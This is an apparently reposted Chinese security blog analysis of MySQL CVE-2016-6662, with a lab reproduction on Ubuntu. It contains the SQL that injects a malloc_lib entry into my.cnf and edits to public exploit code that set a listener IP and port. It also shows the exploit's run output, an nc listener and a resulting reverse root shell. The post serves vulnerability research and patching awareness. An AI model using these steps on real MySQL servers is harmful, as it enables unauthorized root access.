本文作者:安全小飞侠,原文链接:http://avfisher.win/archives/593

0x00 背景

2016年9月12日,国外安全研究人员Dawid Golunski发布安全公告发现了MySQL的一个可被远程代码执行/权限提升的漏洞(CVE-2016-6662)。笔者在研究了原报告后,做了如下分析和实践。

0x01 分析

漏洞披露原址:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

影响范围 (漏洞作者9月16日的最新更新):

MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51

在对原报告的研究后,整理总结如下。

漏洞产生的原因:

  1. MySQL的默认安装包里自带了一个mysqld_safe的脚本用来启动mysql的服务进程,如:
  2. 该进程能够在启动mysql server之前预加载共享库文件,通过参数 –malloc-lib = LIB /usr/local/mysql/bin/mysqld_safe:
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

    if [ -z "$malloc_lib" ]; then
      log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
      exit 1
    fi
  fi

3.共享库文件可被添加在一个mysql的配置文件my.cnf中, 比如mysql的data目录,$DATADIR/my.cnf

/usr/local/mysql/bin/mysqld_safe:

# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
  DATADIR=/usr/local/mysql/data
fi

4.一旦攻击者可以注入恶意库文件在my.cnf文件中,即可在mysql服务重启时以root权限执行预加载的任意共享库中的任意代码

漏洞的利用条件:

具有FILE和SELECT权限的mysql的用户且能够访问日志功能(通常情况下只有MYSQL的管理员用户具有)

漏洞的利用场景:

  1. 在MYSQL已存在的具有弱权限或者权限设置不安全的配置文件(mysql用户可写)里注入恶意代码

  2. 在MYSQL的data目录里(mysql用户默认可写)创建一个新的配置文件my.cnf,并注入恶意代码

漏洞的利用原理:

1.使用mysql的日志记录功能创建/修改my.cnf文件

mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

2.注入包涵恶意代码的共享库,并添加到my.cnf文件的[mysqld]下,如:

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

3.重启mysql服务,即可实现以root权限执行恶意代码

0x02 实践

实验环境:

  • Ubuntu 16.04.1 LTS
  • MySQL 5.5.50

实践步骤:

  1. 安装与配置MySQL:http://howtolamp.com/lamp/mysql/5.6/installing/

安装后目录如下:

root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x  2 mysql mysql  4096 9月  18 18:51 bin
-rw-r--r--  1 mysql mysql 17987 5月  16 17:46 COPYING
drwx------  6 mysql mysql  4096 9月  18 17:46 data
drwxr-xr-x  2 mysql mysql  4096 9月  13 23:58 docs
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 include
-rw-r--r--  1 mysql mysql   301 5月  16 17:46 INSTALL-BINARY
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 lib
drwxr-xr-x  4 mysql mysql  4096 9月  13 19:17 man
drwxr-xr-x 10 mysql mysql  4096 9月  13 19:17 mysql-test
-rw-r--r--  1 mysql mysql  2496 5月  16 17:46 README
drwxr-xr-x  2 mysql mysql  4096 9月  13 19:17 scripts
drwxr-xr-x 27 mysql mysql  4096 9月  13 19:17 share
drwxr-xr-x  4 mysql mysql  4096 9月  13 23:02 sql-bench
drwxr-xr-x  2 mysql mysql  4096 9月  18 17:52 support-files

2. 下载exp文件:

  • 0ldSQL_MySQL_RCE_exploit.py: http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
  • mysql_hookandroot_lib.c: http://legalhackers.com/exploits/mysql_hookandroot_lib.c

3. 查找mysql的data目录,如:/usr/local/mysql/data

root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root     12592  0.0  0.0   4508  1780 pts/18   S    17:46   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root     13622  0.0  0.0  21296   940 pts/18   S+   18:59   0:00 grep --color=auto mysqld_saf

4. 修改exp文件

0ldSQL_MySQL_RCE_exploit.py:修改161行如下 (注意:此处的作用是将mysql的触发器文件写入到测试数据库所在的同一目录下)

TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB

mysql_hookandroot_lib.c:修改63-65行如下 (此处笔者使用的my.cnf的目录是/usr/local/mysql/data/my.cnf)

#define ATTACKERS_IP "<你的监听服务器的IP>"
#define SHELL_PORT <你的监听端口>
#define INJECTED_CONF "<你的mysql的data目录下的my.cnf文件>"

5.在监听服务器上启动监听

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

6.创建测试数据库用户和数据库

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'; 

7.执行0ldSQL_MySQL_RCE_exploit.py脚本如下:

root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 127.0.0.1 and target mysql account 'attacker@127.0.0.1' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf

[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected

...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

...

8.重启mysql服务来触发利用

root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart

9.监听服务器成功收到反弹shell

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)


0x03 总结

笔者在该漏洞的测试和实践过程中,有如下的体会和心得:

  1. 漏洞作者巧妙地利用了触发器,使一个普通的用户利用了root权限执行了所需的sql语句,从而成功地绕过了mysql对于general_log_file文件操作的权限限制

  2. 漏洞作者提供了一个不错的反弹shell的技巧,即在mysqld启动之前利用preload加载my.cnf文件顺序早于mysqld成功地修改了my.cnf文件中的冗余信息,保证了mysql服务的正常启动

  3. 关于mysql的data目录下的my.cnf文件的权限问题,其实完全不需要chown mysql:mysql my.cnf, 只要同时具备以下2个条件即可:

  4. 默认的mysql用户对my.cnf具有可写权限

  5. my.cnf不是world-write权限

参考

  • http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

  • http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

  • http://legalhackers.com/exploits/mysql_hookandroot_lib.c

  • http://seclists.org/oss-sec/2016/q3/484

原文地址:http://avfisher.win/archives/593


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